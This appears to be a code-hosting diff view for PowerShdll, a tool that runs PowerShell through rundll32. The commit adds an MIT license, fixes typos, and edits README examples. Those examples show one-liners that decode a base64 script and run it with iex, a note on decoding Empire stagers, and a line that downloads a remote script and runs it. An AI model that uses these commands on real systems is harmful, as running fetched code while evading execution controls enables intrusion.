STRLCPY/PowerShdll

Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)

■ ■ ■ ■ ■ ■

LICENSE.md

1	+	MIT License
2	+
3	+	Copyright (c) 2017 p3nt4
4	+
5	+	Permission is hereby granted, free of charge, to any person obtaining a copy
6	+	of this software and associated documentation files (the "Software"), to deal
7	+	in the Software without restriction, including without limitation the rights
8	+	to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9	+	copies of the Software, and to permit persons to whom the Software is
10	+	furnished to do so, subject to the following conditions:
11	+
12	+	The above copyright notice and this permission notice shall be included in all
13	+	copies or substantial portions of the Software.
14	+
15	+	THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16	+	IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17	+	FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18	+	AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19	+	LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20	+	OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21	+	SOFTWARE.
22	+

■ ■ ■ ■ ■ ■

README.md

		skipped 9 lines
10	10		rundll32 PowerShdll,main -f <path> Run the script passed as argument
11	11		rundll32 PowerShdll,main -w Start an interactive console in a new window
12	12		rundll32 PowerShdll,main -i Start an interactive console in this console
13		-	If you do not have an interractive console, use -n to avoid crashes on ouput
	13	+	If you do not have an interractive console, use -n to avoid crashes on output
14	14		```
15	15
16	16		## exe mode
		skipped 7 lines
24	24		## Examples
25	25		### Run base64 encoded script
26	26		```
27		-	rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a
	27	+	rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^\| iex
28	28		```
	29	+	Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode
29	30		### Download and run script
30	31		```
31	32		rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^\| iex;
		skipped 11 lines

■ ■ ■ ■ ■ ■

dll/Common.cs

		skipped 151 lines
152	152		Console.WriteLine("rundll32 PowerShdll,main -f <path>\t Run the script passed as argument");
153	153		Console.WriteLine("rundll32 PowerShdll,main -w\t Start an interactive console in a new window");
154	154		Console.WriteLine("rundll32 PowerShdll,main -i\t Start an interactive console in this console");
155		-	Console.WriteLine("\nIf you do not have an interractive console, use -n to avoid crashes on ouput");
	155	+	Console.WriteLine("\nIf you do not have an interractive console, use -n to avoid crashes on output");
156	156
157	157		}
158	158		public void start(string[] args) {
		skipped 192 lines